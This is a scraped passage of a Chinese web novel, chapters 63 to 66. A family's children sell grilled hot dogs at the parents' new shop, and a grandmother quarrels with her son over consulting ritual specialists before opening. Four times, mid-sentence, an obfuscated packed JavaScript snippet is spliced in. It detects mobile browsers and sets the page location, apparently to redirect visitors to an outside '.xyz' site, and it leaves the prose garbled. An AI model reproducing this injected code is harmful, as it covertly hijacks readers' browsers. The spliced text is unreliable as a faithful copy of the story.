这一点宁丹萍丝毫不怀疑,她爸妈总是说三叔三婶太惯着孩子了,如果他们是小秋和小夏的父母,肯定会如何如何收拾他们。 可她却很羡慕小秋和小夏有这么好的父母。 还曾幻想过,如果三叔三婶是自己父母,自己就不用总是挨骂了,压岁钱也可以留一部分买自己想买的东西。 过年时,三岁的堂妹都能花点压岁钱,她妈却早早算好她能拿到多少压岁钱,少交上去一分都要问东问西半天。 宁时秋的车不如成年人用的大尺寸自行车,后座一次只能做一个人。 所以宁丹萍只能先把他送回去,然后再一个个地送自己的同学。 宁时秋自己爬上后座坐稳:“丹萍姐你把我送到我新家就行。” 宁丹萍玩笑道:“怕我多载人,少给你钱,要监工啊?” 他新家就在初中到镇上的必经之路分叉口附近,镇上的公交车从车站出来,去县城也要经过他家。 宁时秋怎么可能承认,自己现在觉得堂姐也很精,确实得盯着点呢。 “我都把我的宝贝自行车借给你了,怎么会不信任你?是小夏要在新家捣鼓点东西,我要去给她帮忙。” 宁丹萍也就是那么一说,就顺势转移了话题:“你俩忙什么?明天你家不是要办温居酒吗?你们不给三叔三婶帮忙?” 宁时秋:“我们才几岁,哪能帮得上忙,不给我爸妈添乱就不错了。” 两人一路闲聊着回到宁时秋新家,宁时夏果然搬了个小板凳,坐在门口的角落捣鼓着什么东西。 宁丹萍以为他们要玩过家家,她还得赶着去挣点零花钱,也不多问,放下宁时秋就赶紧骑着自行车回学校。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859308|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁时夏听到动静抬起头:“哥你回来啦!丹萍姐怎么走了?她不吃吗?” “她还有事要办,等她办完再说吧,”宁时秋走到妹妹旁边蹲下,伸手摸了摸两块砖之间的水泥,“感觉还有点潮潮的,你怎么把东西都拿出来了,可以用了?” 宁时夏嘟着脸抱怨:“爸爸说放点炭烤烤就干了,可他忙着别的事,不帮我烧炭,说小孩不能玩火,哥,我们俩都是小孩,怎么办啊?” 宁时秋站起来,学着大人的样子拍了拍刚刚摸水泥的手:“你是小孩,我不是。” “那你进屋问问去?” 宁时秋进屋去问了,然后被大人们无情地判定为小孩。 宁时夏跟在后面乐得嘎嘎笑。 最后又只能去最闲的找爷爷来帮忙。 宁达以前生过一场大病,病好后不能干重活了,只能干一些放牛、种菜、喂鸡喂鸭喂牛之类的轻省活计,外加带孩子。 放牛这个活,是他们生产队有牛的人家把牛凑一起放的,每家轮流放一天,一般是家里的老人负责。 今天其他人都下地干活去了,又没轮到他们家放牛,宁达空闲时间多得很。 他打扫过牛圈,看着时间还早,正打算去海街找老友们下棋,可惜没来得及出门就被孙子孙女拽到了老三的新家。 “这是要做什么?”宁达忽悠小孩,“爷爷今天特别忙,可没空跟你们玩过家家。” 宁时夏进屋搬出来一个凳子,拽着他坐下:“爷爷你坐,我们不是在过家家,我们之前不是答应过,要给你做特别特别特别好吃的东西嘛,这个就是了!” 宁达是个爱吃的,可他左看看右瞧瞧:“这里也没有吃的呀。”跟吃的搭上边,更像过家家了,不会让他吃他们假装炒出来的菜吧? 不料他小孙子还真扛出来真家伙,把他爸之前用来烤羊剩下的炭搬出来了一兜子,还掏出了打火机和引火的松脂条。 宁达忙道:“小孩可不能玩火!” 宁时秋:“可爷爷你是大人,你可以玩。” 宁达:“……”他总感觉好像上了这俩孩子的当了。 “爷爷你帮我们点吧,我们烤东西吃。”宁时夏跟在哥哥身后,也搬出来一小袋东西。 他打开一看:“这不是你们爸妈买来给你们带去学校吃的火腿肠和小面包吗?这个剥开外面的包装就能吃,哪还用烤。” 宁时秋解释道:“我们在电视上看到别人烤热狗,就是那种面包夹着烤肠的东西,看起来特别好吃,就想试试。” 他们本来想自己做,烤成功后再给大人们一个惊喜来着。 谁能想到,连烧烤架都搭好了,他爸却说小孩子不能玩火,这事差点就办不成了。 幸好还有爷爷! 宁时夏凑到宁达耳边小小声地说:“爷爷,我们悄悄的,不让爸爸妈妈知道。” 宁达又想笑又一言难尽地看向她身后,宁时夏等了好一会儿,没得到爷爷回应,才察觉好像有点不对劲。 一转头,爸爸妈妈都站在她身后,又好气又好笑地看着他们。 64. 第 64 章 宁时夏一手抱住妈妈的腿,另一只手抱住爸爸的腿,开始撒娇,企图蒙混过关。 赵如月好气又好笑地点了点女儿的额头:“你们这两个小机灵鬼。” 小时候谁没羡慕过电视里,拿着美式大热狗张大嘴巴咬一口的人呢? 连大人们也曾幻想过,电视上这种用面包夹着香肠、蔬菜、酱汁的热狗到底是什么味道。 只是大人们长大后脑子里想的事情太多,往往很容易遗忘小时候的这些小小的愿望。 宁绍明在女儿身边蹲下,拿走她偷偷搬出来的一小袋小面包:“这种小面包还不到我半个巴掌大,可做不了热狗,等着,爸爸给你们做几个大的,用那个才能夹住火腿肠。” 赵如月也搬了个凳子出来坐下,拿起火腿肠帮他们串到竹签上:“这个火腿肠这么烤也不好吃,你再给他们调点烧烤酱。” 宁绍明应了一声,起身往厨房里走。 他们今天忙了一天,现在也空闲下来了。 今天买回来不少东西,还有跟专门出租酒席用具的人,租了不少锅碗瓢盆。 原本空荡荡的厨房被填进了不少东西,各种酱料都很齐全。 虽然明天不做需要烤的菜,但上次烤羊还剩下不少孜然粉,现在正好用上。 可惜家里的调料再多也不如酒店里的多,酒店里的烧烤酱有偏咸的、带辣的、偏甜的等等好多种。 甚至会把坚果磨成粉放进去增加风味。 他们家里没有这些,小孩子也不能吃辣椒。 宁绍明只能用酱油、耗油、蜂蜜、柠檬汁、孜然调一个符合孩子口味的、最简单的酸甜口烧烤酱。 他调好酱料,看了一眼提前买回来的食材,家里还没有冰箱,现在只买回来一些比较耐放的菜,还有他们今晚原本要带回老宅做的肉。 分家后,各家本来要分开吃饭,但大嫂说她家只剩她跟女儿,做饭太麻烦,就一直没自己开火。 而他们家在温居酒之前,不能自己开火,也要跟两个老人一起吃饭,可平时家里的肉一直是他们家买。 宁绍明干脆把这块肉拿出来,全部切成薄片,用葱姜米酒和一点点盐,简单腌制去腥后端出去。 “我看签子不少,把这些肉也串起来,烤着吃了吧。” 两个孩子立刻响应,积极地拿起签子学习串肉。 宁绍明把肉放下后去杂货店买了几包酵母粉,又钻进厨房处理面粉。 揉好面发酵需要一些时间,好在他们这里气温不低,不需要等很久。 在等待的时间里,宁绍明把烤网清洗两遍,又煮了一遍高温消毒。 接着在砖砌的四方小烤炉底下铺上一层草木灰,以免炭火直接接触水泥地面,导致地面崩裂。 然后才往里放烧红的炭,把烤网摆上去,在网的表面薄薄地刷上一层油,防止烤东西的时候容易沾。 做完这些他终于宣布:“可以开始烤了,把你们串好的火腿肠拿过来吧。” 宁时夏立刻把几串火腿肠递过来,满脸期待地蹲在他身边看。 宁绍明手上边翻动着烤串边说:“这种火腿肠其实也不是热狗里面放的烤肠,下次我抽空给你们做。” 火腿肠本来就是熟的,烤起来很快,不过改花刀、刷上油之后,稍微烤久一些,改花刀翘起来的地方就会脆脆的。 它的表皮变得皱巴巴之后,一口咬下去,牙齿刚碰到它的表皮时,会稍微有点点嚼劲。 火腿肠自身的味道,加上烧烤酱丰富的滋味。 让两个小孩和一个老小孩吃得眼睛晶晶亮的,吃完又眼巴巴地盯着烤炉。 宁绍明却站了起来,把位置让出来:“你们自己先烤着,我去看看面发好了没。” 为了能减少发面的时间,他把之前把烫洗烤网的水利用起来了,往里兑了些凉水降温到大概四十度,把面盆座到温水上发面。 现在过去看,面果然已经发好了。 揉面、分剂子、把剂子整形成自己想要的形状,然后上锅二次发酵,蒸熟。 趁着馒头还在蒸,宁绍明看材料齐全,顺带手用空塑料瓶当打发工具,自己做了点蛋黄酱。 两个孩子眼巴巴地等着,结果听说夹火腿肠的面包做好了,兴冲冲跑进厨房一看,傻眼了。 “怎么是大馒头!” “爸爸骗小孩儿!” 宁时秋:“虽然爸爸把这馒头做成了面包的形状,可它们也还是大白馒头呀!” 宁时夏:“没错,我们小孩子可不是好糊弄的!” 宁绍明也不急着辩解,只说:“你们等会儿就知道了。” 他把馒头拿到外面,放到烤架上,先把表面稍微烤干一些,然后再刷一点油烤一烤。 刷上油烤过后,再戳一戳馒头的表面,可以听到咔滋咔滋的脆脆的声音。 把馒头表面烤到微微金黄,做成面包形状的烤馒头被他从中间切开。 放上一片洗干净晾干水分的生菜、几片烤肉、一根烤火腿肠。 再拿到两个孩子面前:“看看,现在像不像面包?” 他们异口同声:“像!” 接着用力鼓掌欢呼:“爸爸太厉害啦!” “爸爸是无敌中华小当家!不对,是无敌中华大当家!” 宁绍明看着孩子们对自己崇拜的眼神,被他们夸得整个人都要飘起来了,满口许诺:“爸爸以后天天给你们做!” “咳咳!”赵如月立刻咳嗽几声提醒他,这烤馒头热气得很,小孩子吃多了保准上火喉咙痛,哪能天天做。 可惜她咳得太晚,那当爹的话已经说出去了。 两个孩子可怜巴巴地看着赵如月,搞得她都不好意思拒绝。 只能退一步:“如果不用烤的,天天做也行,不然你们就等着去你们三外公家拿苦药吃喽。” 宁时夏被吓得捂住嘴巴,发出闷闷的声音:“我不吃苦药!” 宁时秋看了一眼热狗,犹豫地说:“那、那以后还有这种香香甜甜的酱吗?” 别的他不吃也可以,但是这种酱太好吃了,他很喜欢,舍不得放弃它。 赵如月看向宁绍明,宁绍明回想起没有打发器做蛋黄酱后泛酸的手:“等我去县城买机器回来,你们想什么时候吃都能吃到,以后早上吃馒头,可以掰开馒头抹一点酱夹着吃。” 一家人商量着的时候,宁达说有事要离开一会儿。 他回来时,手上拿着一包辣条,一走近就递给宁绍明:“老三你帮我烤一片这个,我想夹在那个什么狗里吃。” 宁绍明懵了一下,接过来:“爸,没想到你还挺时髦,竟然还吃辣条。” 宁时夏说道:“爸爸你不知道吗?爷爷最喜欢吃冰糖和辣条了。” 他还真不知道…… 宁绍明心里有点愧疚,自己竟然还不如女儿了解父亲。 他难得贴心关怀一回:“这个可不能多吃,吃多了容易上火,你上了年纪得注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864327|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意身……” 宁达眼睛里只有他的辣条,不耐烦地打断儿子念经:“哎呀知道了知道了,到底谁是爹,你怎么比我还啰嗦,快点烤!我还能再吃一个,今晚晚饭喝几口稀粥就行了。” 宁绍明:“……” 说不过他,只能认命烤起辣条来。 辣条里香料多,烤起来跟烤肉是不一样的香,那香味问起来比烤肉还要霸道。 宁绍明做热狗做得比较快,做多了就摆在旁边不锈钢大托盘里。 想着等会儿让孩子送回老宅给他们奶奶、大伯娘和堂姐其他人尝尝。 他还有点强迫症,放在托盘上的热狗,被他摆放得整整齐齐,让人看起来特别赏心悦目。 这个点,正好是学生们放学后,在集上逛完要回家的时候,靠辣条的这股香味飘出去,吸引了不少人闻着香找来。 远远地站定后看了看,没看到招牌,有点不确定这里是不是卖东西的店,犹豫着不敢上前。 有个小胖子站了好一会儿,实在忍不住嘴馋,走近几步紧张地大声问:“老板,这个怎么卖?” 正在快乐烧烤的几个人纷纷愣住。 宁时秋反应最快,回过神来马上回答:“一块钱一个,里面有烤辣条、还有用我爸特制烧烤酱烤的火腿肠、烤肉、还有镇上只有我爸会做的香甜酱,你尝尝,这个酱特别好吃,我可喜欢吃了。” 他说着就拿了两个没用上的竹签,撩起一点蛋黄酱,让小胖子尝尝。 小胖子刚觉得一块钱太贵,放以前煮米粉没涨价到六毛一碗的时候,一块钱都能吃两碗米粉了。 可一听宁时秋这么说,再仔细一看,里面确实有很多料,就觉得一块钱能买到这么多东西,貌似确实挺划算。 他又尝了尝那个香甜酱,顿时眼睛一亮,觉得一块钱已经不是挺划算,而是太划算了! 冲着那个香甜酱,他就乐意掏钱。 小胖子拿出一块钱递过去:“那给我来一个,我要香甜酱多的这个,可以吗?” “当然可以,你喜欢这个酱,我可以再给你加一点。”宁时秋收了钱,其他人也反应过来了。 大人们下意识想说,他想吃可以让他拿一个吃着玩,不用给钱。 但宁时夏已经配合起哥哥的行动,钻进厨房里,拿出一个爸妈今天买回来的塑料袋交给哥哥。 这些塑料袋是他们给明天来吃饭的亲戚准备的,让亲戚们把席面上吃不完的饭菜打包回家。 宁时秋笑眯眯地给小胖子打包:“我们家今天第一天卖东西,没来得及准备油纸,你看用塑料袋可以吗?” 小胖子闻着旁边烤炉传出来的香味,咽着口水猛点头:“可以可以。” 这时其他被香味吸引的人也往这边走来。 哥哥在忙着给人打包的时候,宁时夏注意到了那些人。 他们看起来,也对自己家的东西很感兴趣的样子。 她低头数了数还剩下的几个热狗。 眼珠子一转,又拿了一串烤肉塞给小胖子。 然后大声说道:“你是第一个客人,多送你一串烤肉,今天买热狗的人都多送一串烤肉,只剩五个热狗,卖完这些就没有了,明天也不送了。” 她话音刚落,走得最快的人赶忙加紧脚步跑过来,掏出两块钱:“我要两个,可以给我两串烤肉吗?” 两个孩子的举动,让旁边三个大人看得目瞪口呆。 他们家店,就这样……开张了? 65. 第 65 章 他们小店的开张,随意得让人猝不及防,两个孩子就这样简简单单地把生意做成了。 没算日子、没放鞭炮,随性得仿佛是钱自己哭着喊着要往他们口袋里钻。 反观他们这些大人,又是找道公找神婆算日子,又是必须先请温居酒,才能开张。 事情一箩筐,拖来拖去,反而给自己增加不少焦虑。 围过来后果断掏钱要买的学生有好几个。 他们围着两个孩子同时开口,叽叽喳喳地声音混成一团,个个都说自己也要买。 两个孩子忙不过来,赵如月和宁绍明顾不上怔愣,赶紧去帮忙。 那五个热狗卖完,没买到的学生催着他们赶紧做。 宁绍明进厨房打开蒸笼,这蒸笼是他在专门出租酒席用具的人家租来的大蒸笼,预备明天做酒席上的两个菜:梅菜扣肉和糖蒸肉。 他要做的席不多,只租了一层蒸笼,普通馒头一次可以蒸四十个。 但是他做的馒头比集上普通馒头大,大概有他媳妇儿手掌那么大一个,形状还做成面包的样式,比较占地方。 这样的馒头一次最多只能蒸二十五个。 宁绍明数了数,蒸笼里只剩下十二个馒头,扬声对着外头说道:“只剩十二个了!” “知道了!”宁时秋应了一声。 他听到厨房里传出来的话,其他人自然也听到了。 宁时秋收下排在最前面的十二个人的钱,其他人没轮到也没多说什么,只是遗憾自己吃不到,转头问买到的朋友能不能分着吃,自己给一半的钱。 他们怎么商量的宁时秋不管,他拿出纸笔,写下从一到十二的数字,剪下来后从数字中间撕下一半,另一半交给刚刚收钱的人。 “你们拿着这半张号码,叫到号就能拿东西了,没别的事可以在这里等着,有事的话也可以先去忙自己的事,热狗现做要等好一会儿呢。” 拿到半张号码的人感觉十分新奇,在场没有谁没看过古装电视剧和电影。 有些影视剧里,大侠们的信物就是像这样一分为二,见面之后能对上才是自己人! “真炫酷!”有人拿到后马上问,“以后也这样叫号领东西吗?” 宁时秋在被问到这个问题之前,还真没想过这个问题。 他这么做,只是觉得虽然自己记得给钱的每个人,可自家把钱都收了,总得给人家一个凭证,让出钱的人安心。 不过既然有人提出来,他觉得这样挺有意思的,有心想顺势应下。 可是又想到,以后自己要上学,在家里招呼客人的不是自己,是他爸妈,这个得问问大人的意见。 宁时秋看向赵如月,赵如月对上儿子的眼神,这一次终于能及时跟上孩子的想法。 在镇上的餐饮店里买东西吃,没有叫号的习惯,都是店家自己记着谁先来的、点了什么,有时候人太多就会漏掉某一个。 县城倒是有给号码拍的,每家店的号码拍不尽然一样,应该可以定做。 这放在镇上,在一段时间内,也能当做自己店里的特色。 于是赵如月点头,顺着刚刚女儿的说法,说道:“今天我们是试营业,号码牌还没做好,这段时间先临时线用手写的纸号码,以后会有专门的号码对牌。” 专门的号码对牌! 听到这个学生们都很期待,纷纷催她抓紧时间做,他们也想体验一把电视里对信物的感觉。 这让赵如月不由考虑,是不是该把号码对牌设计成古风的样式,可她不会画画,也不知道能找谁帮忙设计。 现在镇上连个网吧都没有,也不能跟以后一样,在网上出点钱就能请到会画画的人帮忙。 这就让人有些苦恼了。 宁时秋和宁时夏数了数刚才收到的钱,一共十八块钱,全部交给妈妈。 赵如月回过神,让他们自己收着:“这是你们挣的钱,要不是你们反应快,今天可挣不到这些。” 宁时秋摇头:“可是东西是爸爸妈妈买的,以后我们在自家店里帮忙,难道也要钱吗?这是自家生意。” 他们俩坚决表示不要。 赵如月蹲下身真诚地说道:“可是你们今天表现得那么好,妈妈也想给你们奖励呀。” 宁时秋想了想:“那……那我们要一点零花钱就好了。” 宁时夏跟着哥哥点头,在她这个小小孩眼里,一点零花钱就能买好多好多东西了。 有时候爸爸妈妈给她一块钱,她去小卖部买好多好多东西都花不完。 “那好吧。”赵如月抽出四块钱,给他们一人分了两块。 同时第无数次在心里感慨,自家孩子真是太懂事了。 要不是孩子真是自己亲自生出来的,确认没被换过。 她没生之前,甚至连做梦都不敢梦自己生出这样优秀的孩子。 宁时夏自己留了一块钱,剩下的一块钱交给哥哥帮自己攒着。 宁时夏从善如流地把妹妹的钱和自己的一起收起来。 上次妈妈帮他办了一张卡,把他以前攒下来的钱全部存起来,他存钱的小袋子就空了。 但是今年开学后跟以前不一样了,以前奶奶只给他零花钱,不给妹妹,给他也只给两毛钱。 现在爸爸妈妈每天都会给他和妹妹每人五毛零花钱,两个人每天合在一起花五毛,另外五毛钱存起来。 有时会多花一点,有时爸爸妈妈又会多给点,增增减减,现在他攒钱的小袋子里已经有三十九块零几毛钱。 加上今天的两块钱,就有四十一块钱了。 也不知道丹萍姐回来后,会给他分多少? 丹萍姐借车时说要送两个同学,不过他一直蹲在门口,见到丹萍姐在这条路上来回骑了七八次。 宁绍明做完最后一个热狗,宁丹萍终于骑着车回来了。 她停好自行车,神神秘秘地把宁时秋拉到旁边小树林里。 本来还担心三叔三婶问他们去那边做什么,也担心小夏粘着哥哥非要跟过去。 结果根本没人问,小夏也只是抬头看了一眼,又埋头继续在一张白纸上写写画画,忙她自己的去了。 确认房子那边的人看不到他们后,宁丹萍拿出一块钱交给宁时秋:“我一共送了五个人,每人两毛钱,一共一块钱。” 宁时秋看她在四月的天里还满头大汗,前胸后背衣服都湿透的样子。 接过钱后只说了一句:“好的。”就没再多说什么。 宁丹萍其实心里有点紧张和心虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870174|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她看着这个堂弟长大,知道他聪明得很。 在送人的数量上,她确实没作假可说是平分其实撒谎了,她怕被宁时秋说穿。 要是堂弟跟她闹起来,人家有父母支持,奶奶又偏心他,自己肯定讨不了好,挣的这些钱绝对留不下一分。 没准她妈还要逼着她以后多接送点人,最好放假时间也在集上接送周边从村里出来赶集的人,到时候挣到的钱,当然也不会有一分落到她手里。 宁丹萍不知道自己这小生意能瞒住家里多久,她知道这事早晚会被发现,只希望能瞒久一些,再久一些。 最好瞒到她攒够钱,买到自己想买的东西为止。 宁时秋没多说什么让她狠狠松了一口气:“那我先回去了。” “丹萍姐你等等,”宁时秋拦了她一下,“我爸还在烤肉,你带一些回家,你们晚饭时吃,我和小夏还有爸爸妈妈爷爷都吃饱了。” 宁丹萍带了一盒烤肉回去,王海燕还以为是她买的,喜得眉开眼笑,直夸她懂事了:“早就该这样,我看别人放学回家都懂得买点菜买点肉回来,只有你是个榆木脑袋,以前一点不懂孝敬父母,现在可好,总算长大了,以后……” “不是我买的!”宁丹萍本来难得被夸,心里既高兴又酸涩。 上次被夸奖是什么时候来着?时间过去太久,她都记不清了,甚至有点怀疑自己以前从来没被夸奖过。 宁丹萍正犹豫着要不要干脆认了这肉是自己买的,三叔一家和爷爷听她妈说起来,应该不会拆穿她。 可一听到她妈说以后,宁丹萍就知道,但凡这一次认下这肉是自己买的,以后还得继续买。 要不然以后哪次不买回来,她肯定挨骂,买了也不一定再次被夸,她妈反而会觉得她买才是应该的,不买就是不孝。 宁丹萍立刻打断王海燕的话:“这是三叔烤来卖的,让我拿点回来晚饭添道菜,三叔一家和爷爷在三叔新家那边吃过了,让我们晚饭不用等他们。” 王海燕一听,脸瞬间耷拉阴沉下来:“就给这么点肉,打发叫花子呢!他们在那边吃的什么?” “不知道,我去的时候他们已经吃饱了,应该也是烤肉吧。” “呸,感情拿回来给我们的东西,是他们吃剩下的剩饭!” 王海燕说是这么说,但吃完饭的时候也没少往烤肉上夹。 黄秀华听宁丹萍说他们在老三家新房吃过了,心里也有点不太高兴。 宁达在外面溜达一圈回来,黄秀华就拉着他数落:“温居酒还没吃,怎么你跟老三一家子就在那边吃饭了? 他们年轻不懂事,你个老头都多大岁数了,也不懂事?提前在那边吃饭像什么话!” “哪有你说的那么严重……”宁达弱弱地反驳。 话说一半,被黄秀华气恼地打断了:“这样可非常不吉利,以后做生意会有妨碍的!又得花钱去找道公破灾!” 宁达没办法,这种事他一向说不过她:“那你去找老三两口子说吧,跟我说也没什么用,又不是我做生意。” 黄秀华恨铁不成钢地瞪了宁达一眼,骂道:“家里有什么事,就指望不了你一点!给我闪开别挡道!” 骂完推开宁达,赶紧出门找宁绍明夫妻俩去了。 66. 第 66 章 黄秀华到他们新房的时候,赵如月刚好洗完澡出来,轮到宁绍明进去洗。 天暖起来后,洗澡温度不需要太高,需要的热水少,电热水器烧一次水就够他们一家四口洗了。 两个孩子比他们洗得早,正坐在门口借着傍晚的微风晾头发。 “小秋,你爸呢?”黄秀华问道。 宁时秋往里看了一眼:“我爸正洗澡,妈妈,我奶奶来了。” 赵如月听到他叫自己,从里面走出来。 看到黄秀华脸色不太好,不解地问:“妈,你有事找我们?” 要是儿子,黄秀华肯定劈头盖脸就骂上去了。 可出来的是儿媳,面对儿媳,黄秀华知道不能用对待儿子的方式,这儿媳娘家可不好惹。 她缓和了一下表情,继续说道:“我听小秋爷爷说,你们今天在这里开火吃饭了?” 宁时秋这时也看出来了,奶奶是来找事的,他经常见奶奶骂大伯娘,最近大伯娘硬气了,升级为两人对骂。 他担心自己妈妈也挨奶奶骂,忙抢话:“奶奶,我们在门口烧烤也不行吗?” 宁时秋没说自己爸爸也用厨房蒸馒头了,只提烧烤这事。 “对不起,是我让爸爸妈给我做的,我不知道现在还不能在新家开火做吃的,是我的错,我太嘴馋了。”宁时秋说着,抬起头,可怜巴巴的样子看向黄秀华,一脸要哭不哭的样子。 黄秀华一看这么可怜的样子,可真是心疼坏了,也顾不上给三儿子夫妻俩说教。 搂住宝贝小孙子一叠声道:“没事没事,这其实也不是什么很严重的事,你一个小孩子,不知道很正常,要怪也是怪你爸妈,还有你爷爷,三个大人那么大年纪了,还不知道轻重。” 她顾着哄孙子,完全把赵如月抛到了脑后。 赵如月也不管她,抱起女儿做到门口,风大一点的地方吹头发。 宁绍明洗澡速度快,把身体淋湿后,一块香皂从头洗到脚再冲干净,没几分钟就出来了。 他出来的时候,正好听到他妈在说:“小秋不用心里过意不去,这真不怪你,等过几天,我让你爸妈去道公和神婆那里,让他们念经化煞就好了。” 宁绍明不解:“化什么煞?” 黄秀华这会儿心情已经平复下来了,见到他虽然还是有点气,但语气也算平和。 只是她跟宁绍明说话时,说出口的话,总是习惯性带着指责:“还不是你们大人不懂事,还没请亲朋好友来吃温居酒,就在新房开火,过几天可得再去一趟道公和神婆那里化煞,要不以后这店怎么开?” 黄秀华本以为这次自己占着理,事情的发展会跟以前一样,自己说几句,儿子儿媳就会照搬。 可经过上次后,宁绍明很不喜欢这种事。 他现在一听到又要去,心里就不由涌起一股烦躁:“你爱去你自己去,我们不去。” 这话一出,原本已经被宁时秋哄得消了气的黄秀华炸了:“你说什么?” 宁绍明擦着还在滴水的头发,口齿清晰地回答:“我说我们不去。” 他本来就打心底不相信这些,之前只是拗不过他妈,为了不让她总是念叨才妥协了。 现在他们提前在新家开火怎么了? 还没到开张的日子,他家孩子提前卖东西又怎样? 如果非得到选定的日子才能开张,怎么他家孩子就这么轻轻松松把东西卖出去了? 那么神的话,别让他们的东西卖得出去呗? 今天东西卖得那么好,可见选日子其实没那么重要。 黄秀华非要他们去找道公和神婆这事,宁绍明后来也回过味来了。 她非要叫他们去找人算日子,迷信只是其中一个原因,其实她更有可能是还想插手他小家的事情。 他们分家了,她依然想找一些事,来彰显她的存在感和对他们这些子女的掌控力。 毕竟在他妈眼里,大哥她管不了一点,二哥是老师,有文化,她觉得自己没文化,不能乱管。 看来看去,就只有他最好拿捏。 只是从去年到今年,这一年多的时间里,宁绍明已经看清了很多东西。 开店做生意这件事,是他和他老婆的决定。 从做决定到建房、装修,再到现在准备开店,他妈没来帮过忙。 既然从一开始就没插手,那现在所有前期准备都做得差不多了,只等着开店,她再想来插手做他们的主,不可能! 她现在只是插手开店的时间、在新家开火这点事,以后呢? 要是生意好,她是不是还要往店里安排人?会不会让他帮衬帮衬他二哥?补贴补贴他大哥? 要是生意不好,是不是又要叫他们去给道公和神婆送钱? 宁绍明完全有理由相信,那些是她能做出来的事。 黄秀华摆出了一家之主的架势,强硬地说道:“不行,必须去!要不然……” 后面的话宁绍明都懒得听,直接打断:“不去!” “你你你……”黄秀华指着他,“我这是为你好!” 宁绍明把儿子抱起来说:“用不着。” 宁绍明:“我是你亲妈,难道我还会害你?” “我知道你不会害我,但我知道我也不想去。” 黄秀华痛心疾首,但来来回回就是那几句:我不会害你,这事不去办不行,我这事为你好…… 话不尽然相同,但意思就是那个意思。 宁绍明听得耳朵都要起茧子了,最后他也不跟她掰扯了,招呼老婆和女儿就要走。 明天他凌晨就得起床,去把羊带回来宰杀收拾干净,赶中午那顿饭,没空听他妈在这里重复那些没有意义的话。 黄秀华回去后气得晚上睡不着觉,安安在心里发誓,明天绝对不去老三新房帮忙。 他们来请她去吃饭,她也绝对不会去! 宁绍明可不管她怎么想,早上起床去把羊拉回来,跟几个朋友把那羊收拾干净,就开始熬汤。 今天他做的是羊杂汤,羊头和羊蹄处理干净后也跟羊骨头一起熬汤。 熬两大锅汤,一锅中午喝,一锅一直熬到傍晚喝。 羊的其他部位分割,处理腌制好,用来做别的菜。 今天一共要请中午和晚上两顿,不过晚上才是正餐。 中午吃得比较简单,主要是给来帮忙的亲戚朋友解决一下午饭。 其实之前建房子,来帮工的人,大部分也是他们的亲戚朋友,这次温居酒那些人也来帮忙了。 宁绍明就把炒河粉,或者说炒米粉,被安排在了中午这一顿。 另一个原因是现在天气热,今天他用的米粉又大部分是镇上本地作坊每天新鲜现做的鲜米粉。 只有一小部分用的是干米线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873678|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个天气,买回来的鲜米粉不放冰箱里冷藏,留到傍晚就不新鲜了,镇上人吃惯了鲜米粉,可能会挑剔这一点。 租来的大锅用热水刷洗干净,烤干水分。 热锅凉油,被切成片腌好的羊肉下锅,发出刺啦一声。 羊肉切得很薄,稍微翻炒一会儿变色后,再倒入米粉翻炒。 大锅柴火灶,锅气十足。 宁绍明用大锅铲翻炒了几下,那肉味混着碳水的香味就开始从锅里漫出来了。 “真香啊!”蹲在他旁边帮忙烧火的一个兄弟忍不住咽了口口水,“不愧是在酒店后厨学过的大厨,这手艺杠杠的!” 宁绍明谦虚道:“我也就是跟着学过几天,不算什么大厨,鲜米粉本来就是熟的,这个很快就好了,你想吃现在就可以去拿碗,我先给你盛点。” “那感情好,我先替他们常常。”那兄弟洗了洗手就拿碗去了。 他拿了个小碗过来,宁绍明给他铲了半锅铲放碗里,一句‘刚出锅,小心烫’还没说完。 那兄弟已经被烫得斯哈斯哈的,吃得头也不抬,唏哩呼噜地飞快吃掉了三分之一。 直到把碗里的炒米粉全吃完,才抬起头来,爽得长舒一口气。 他放下筷子,对着宁绍明比起大拇指:“好吃!你这手艺绝了!你做的这个炒米粉,跟县城那家卖炒河粉的应该是一个东西吧?我之前在县城那家吃过,我觉得你做的比县城那家还好吃。” 